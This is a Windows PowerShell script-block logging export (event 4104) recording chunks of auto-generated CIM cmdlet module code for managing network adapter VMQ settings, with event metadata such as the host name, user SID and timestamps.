Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterVPort' -Alias '*'
ScriptBlock ID: 6857b166-f0b5-4dee-8ab3-6bfc4e5e5b87
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1953 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-c4fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterVmqQueueSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterVmqQueue
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVmqQueueSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[uint32[]]
${Id},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Id') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Id})
$__cmdletization_queryBuilder.FilterByProperty('QueueID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmqQueue.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterVmqQueue' -Alias '*'
ScriptBlock ID: 7b203018-0a14-4b7b-8ed8-3e7818096ca7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1952 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-c1fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
ject]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterVmq' -Alias '*'
ScriptBlock ID: 8bd3389c-e7c2-453e-9d32-2970439bc7f9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1951 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-bbfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterVmq' -Alias '*'
function Disable-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterVmqSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[ob
ScriptBlock ID: 8bd3389c-e7c2-453e-9d32-2970439bc7f9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1950 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-bbfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
ontainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorGroup')) {
[object]$__cmdletization_value = ${BaseProcessorGroup}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorNumber')) {
[object]$__cmdletization_value = ${BaseProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessors')) {
[object]$__cmdletization_value = ${MaxProcessors}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessorNumber')) {
[object]$__cmdletization_value = ${MaxProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumaNode')) {
[object]$__cmdletization_value = ${NumaNode}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterVmq' -Alias '*'
function Enable-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterVmqSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
ScriptBlock ID: 8bd3389c-e7c2-453e-9d32-2970439bc7f9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1949 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-bbfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
